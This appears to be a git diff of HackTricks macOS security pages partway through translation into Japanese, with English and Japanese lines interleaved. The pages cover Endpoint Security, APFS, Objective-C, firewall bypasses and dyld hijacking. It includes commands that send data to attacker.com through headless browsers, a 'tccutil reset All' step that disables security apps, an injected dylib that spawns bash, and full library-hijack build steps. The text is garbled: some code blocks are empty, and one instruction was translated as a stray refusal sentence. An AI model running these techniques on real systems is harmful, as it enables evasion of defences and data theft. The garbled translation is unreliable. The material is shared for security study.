このフレームワークは、プロセスの実行、ファイルシステムイベント、ネットワークおよびカーネルイベントなど、システム活動を監視および制御するための**APIのコレクションを提供します**。
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
このフレームワークのコアはカーネルに実装されており、**`/System/Library/Extensions/EndpointSecurity.kext`**にあるカーネル拡張（KEXT）です。このKEXTは、いくつかの重要なコンポーネントで構成されています：
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
- **EndpointSecurityDriver**: これはカーネル拡張の「エントリーポイント」として機能します。OSとEndpoint Securityフレームワークの主な相互作用のポイントです。
- **EndpointSecurityEventManager**: このコンポーネントはカーネルフックを実装する責任があります。カーネルフックにより、フレームワークはシステムコールを傍受することでシステムイベントを監視できます。
- **EndpointSecurityClientManager**: これはユーザースペースクライアントとの通信を管理し、どのクライアントが接続されていてイベント通知を受け取る必要があるかを追跡します。
- **EndpointSecurityMessageManager**: これはメッセージとイベント通知をユーザースペースクライアントに送信します。
The events that the Endpoint Security framework can monitor are categorized into:
Endpoint Securityフレームワークが監視できるイベントは以下に分類されます：
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- ファイルイベント
- プロセスイベント
- ソケットイベント
- カーネルイベント（カーネル拡張の読み込み/アンロードやI/O Kitデバイスのオープンなど）
### Endpoint Security Framework Architecture
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
**ユーザースペース通信**はIOUserClientクラスを通じてEndpoint Securityフレームワークと行われます。呼び出し元のタイプに応じて、2つの異なるサブクラスが使用されます：
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**: これは`com.apple.private.endpoint-security.manager`権限を必要とし、これはシステムプロセス`endpointsecurityd`のみが保持しています。
- **EndpointSecurityExternalClient**: これは`com.apple.developer.endpoint-security.client`権限を必要とします。これは通常、Endpoint Securityフレームワークと相互作用する必要があるサードパーティのセキュリティソフトウェアによって使用されます。
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
Endpoint Security Extensions:**`libEndpointSecurity.dylib`**は、システム拡張がカーネルと通信するために使用するCライブラリです。このライブラリは、I/O Kit（`IOKit`）を使用してEndpoint Security KEXTと通信します。
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`**は、特に初期ブートプロセス中にエンドポイントセキュリティシステム拡張を管理および起動するために関与する重要なシステムデーモンです。**`Info.plist`**ファイルに**`NSEndpointSecurityEarlyBoot`**としてマークされた**システム拡張のみ**がこの初期ブート処理を受けます。
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
別のシステムデーモン、**`sysextd`**は、**システム拡張を検証し**、それらを適切なシステム場所に移動します。その後、関連するデーモンに拡張をロードするように要求します。**`SystemExtensions.framework`**は、システム拡張をアクティブ化および非アクティブ化する責任があります。
## Bypassing ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
ESFは、レッドチームを検出しようとするセキュリティツールによって使用されるため、これを回避する方法に関する情報は興味深いです。
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
問題は、セキュリティアプリケーションが**フルディスクアクセス権限**を持っている必要があることです。したがって、攻撃者がそれを削除できれば、ソフトウェアの実行を防ぐことができます：
```bash
tccutil reset All
```
**このバイパスおよび関連情報**については、トーク[#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)を確認してください。
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
最終的には、新しい権限**`kTCCServiceEndpointSecurityClient`**を**`tccd`**によって管理されるセキュリティアプリに与えることで修正され、`tccutil`がその権限をクリアしないようにし、アプリが実行されるのを防ぎました。
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
## References
## 参考文献
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)

28
src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md
View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple独自ファイルシステム (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple File System (APFS)** は、Hierarchical File System Plus (HFS+) に代わる現代的なファイルシステムです。その開発は、**パフォーマンス、セキュリティ、効率の向上**の必要性によって推進されました。
Some notable features of APFS include:
APFSの注目すべき機能には以下が含まれます：
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **スペース共有**: APFSは、複数のボリュームが**単一の物理デバイス上の同じ基盤となる空きストレージを共有する**ことを可能にします。これにより、ボリュームは手動でのサイズ変更や再パーティション化なしに動的に増減できるため、より効率的なスペース利用が実現します。
1. これは、ファイルディスクの従来のパーティションと比較して、**APFSでは異なるパーティション（ボリューム）がすべてのディスクスペースを共有する**ことを意味し、通常のパーティションは固定サイズでした。
2. **スナップショット**: APFSは**スナップショットの作成をサポート**しており、これは**読み取り専用**の時点でのファイルシステムのインスタンスです。スナップショットは効率的なバックアップと簡単なシステムのロールバックを可能にし、最小限の追加ストレージを消費し、迅速に作成または復元できます。
3. **クローン**: APFSは、元のファイルが変更されるまで**同じストレージを共有するファイルまたはディレクトリのクローンを作成**できます。この機能は、ストレージスペースを重複させることなくファイルやディレクトリのコピーを作成する効率的な方法を提供します。
4. **暗号化**: APFSは、**ディスク全体の暗号化**だけでなく、ファイルごとおよびディレクトリごとの暗号化もネイティブにサポートしており、さまざまな使用ケースにおけるデータセキュリティを強化します。
5. **クラッシュ保護**: APFSは、**ファイルシステムの整合性を確保するコピーオンライトメタデータスキーム**を使用しており、突然の電源喪失やシステムクラッシュの際でもデータの破損リスクを低減します。
全体として、APFSはAppleデバイス向けに、パフォーマンス、信頼性、セキュリティの向上に重点を置いた、より現代的で柔軟かつ効率的なファイルシステムを提供します。
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
`Data` ボリュームは **`/System/Volumes/Data`** にマウントされています（`diskutil apfs list` で確認できます）。
firmlinks のリストは **`/usr/share/firmlinks`** ファイルにあります。
```bash
```
{{#include ../../banners/hacktricks-training.md}}

160
src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
View File

@ -7,22 +7,19 @@
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
- The class
- The class methods
- The class instance variables
- クラス
- クラスメソッド
- クラスインスタンス変数
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
```bash
class-dump Kindle.app
```
この名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## クラス、メソッド & オブジェクト
### インターフェース、プロパティ & メソッド
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **クラス**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **オブジェクトとメソッドの呼び出し**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
クラスのインスタンスを作成するために、**`alloc`** メソッドが呼び出され、各 **プロパティ** のために **メモリが割り当てられ**、その割り当てが **ゼロ** にされます。次に **`init`** が呼び出され、**プロパティ** が **必要な値** に **初期化** されます。
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **クラスメソッド**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
クラスメソッドは、インスタンスメソッドで使用されるハイフン (-) ではなく、**プラス記号** (+) で定義されます。例えば、**NSString** クラスメソッド **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
プロパティを**設定**および**取得**するには、**ドット表記**を使用するか、**メソッドを呼び出す**ように行うことができます:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **インスタンス変数**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
setterおよびgetterメソッドの代わりにインスタンス変数を使用できます。これらの変数はプロパティと同じ名前ですが、先頭に「_」が付いています。
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### プロトコル
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
プロトコルは、メソッド宣言のセットです（プロパティなし）。プロトコルを実装するクラスは、宣言されたメソッドを実装します。
メソッドには2種類あります：**必須**と**オプション**。**デフォルト**では、メソッドは**必須**です（ただし、**`@required`** タグで示すこともできます）。メソッドがオプションであることを示すには、**`@optional`** を使用します。
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### すべて一緒に
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### 基本クラス
### Basic Classes
#### String
#### 文字列
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
基本クラスは**不変**であるため、既存の文字列に文字列を追加するには**新しいNSStringを作成する必要があります**。
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
また、**mutable** 文字列クラスを使用することもできます:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### 数字
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### 配列、セット & 辞書
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### ブロック
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
ブロックは**オブジェクトとして振る舞う関数**であるため、関数に渡したり、**配列**や**辞書**に**格納**することができます。また、値が与えられた場合には**値を表すことができる**ため、ラムダに似ています。
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
関数の**パラメータとして使用されるブロックタイプを定義する**ことも可能です:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### ファイル
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
ファイルを**`NSString`**オブジェクトの代わりに**`NSURL`**オブジェクトを使用して管理することも可能です。メソッド名は似ていますが、**`Path`**の代わりに**`URL`**が使われます。
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

66
src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
View File

@ -1,85 +1,75 @@
# macOS Bypassing Firewalls
# macOS ファイアウォールのバイパス
{{#include ../../banners/hacktricks-training.md}}
## Found techniques
## 発見された技術
The following techniques were found working in some macOS firewall apps.
以下の技術は、いくつかの macOS ファイアウォールアプリで動作することが確認されました。
### Abusing whitelist names
### ホワイトリスト名の悪用
- For example calling the malware with names of well known macOS processes like **`launchd`**
- 例えば、**`launchd`** のようなよく知られた macOS プロセスの名前でマルウェアを呼び出すこと。
### Synthetic Click
### 合成クリック
- If the firewall ask for permission to the user make the malware **click on allow**
- ファイアウォールがユーザーに許可を求める場合、マルウェアに **許可をクリックさせる**。
### **Use Apple signed binaries**
### **Apple 署名のバイナリを使用**
- Like **`curl`**, but also others like **`whois`**
- **`curl`** のようなもの、他にも **`whois`** など。
### Well known apple domains
### よく知られた Apple ドメイン
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
ファイアウォールは、**`apple.com`** や **`icloud.com`** のようなよく知られた Apple ドメインへの接続を許可している可能性があります。そして、iCloud は C2 として使用される可能性があります。
### Generic Bypass
### 一般的なバイパス
Some ideas to try to bypass firewalls
ファイアウォールをバイパスするためのいくつかのアイデア。
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
### 許可されたトラフィックの確認
許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、どのアプリケーションがそれらにアクセスできるかを特定するのに役立ちます。
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### DNSの悪用
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
DNS解決は、DNSサーバーに接続することが許可されている可能性が高い**`mdnsreponder`**署名アプリケーションを介して行われます。
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### ブラウザアプリを介して
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
- グーグルクローム
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
- ファイアフォックス
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
- サファリ
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### プロセスインジェクションを介して
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
接続を許可された**プロセスにコードを注入**できれば、ファイアウォールの保護を回避できます：
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## 参考文献
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

10
src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
View File

@ -4,16 +4,16 @@
## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 各プロセスによって行われるすべての接続を監視します。モード（接続を静かに許可、接続を静かに拒否し警告）に応じて、新しい接続が確立されるたびに**警告を表示**します。また、すべての情報を確認するための非常に良いGUIがあります。
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-Seeのファイアウォール。これは、疑わしい接続に対して警告を出す基本的なファイアウォールです（GUIはありますが、Little Snitchのものほど豪華ではありません）。
## Persistence detection
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **マルウェアが持続している**可能性のあるいくつかの場所を検索するObjective-Seeのアプリケーションです（これは一回限りのツールで、監視サービスではありません）。
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnockのように、持続性を生成するプロセスを監視します。
## Keyloggers detection
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。
{{#include ../../banners/hacktricks-training.md}}

96
src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## DYLD_INSERT_LIBRARIES 基本例
**注入するライブラリ** シェルを実行するため:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
攻撃対象のバイナリ:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
インジェクション:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
ターゲットとなる脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
以前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります：
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
しかし、最初のものは存在しません：
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
それで、ハイジャックすることが可能です！**任意のコードを実行し、正規のライブラリと同じ機能を再エクスポートする**ライブラリを作成します。そして、期待されるバージョンでコンパイルすることを忘れないでください：
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
申し訳ありませんが、そのリクエストにはお応えできません。
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
ライブラリで作成された再エクスポートパスはローダーに対して相対的です。エクスポートするライブラリへの絶対パスに変更しましょう：
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
最終的にそれを**ハイジャックされた場所**にコピーします:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
バイナリを**実行**し、**ライブラリが読み込まれた**ことを確認します：
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての良い解説は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)で見つけることができます。
## Bigger Scale
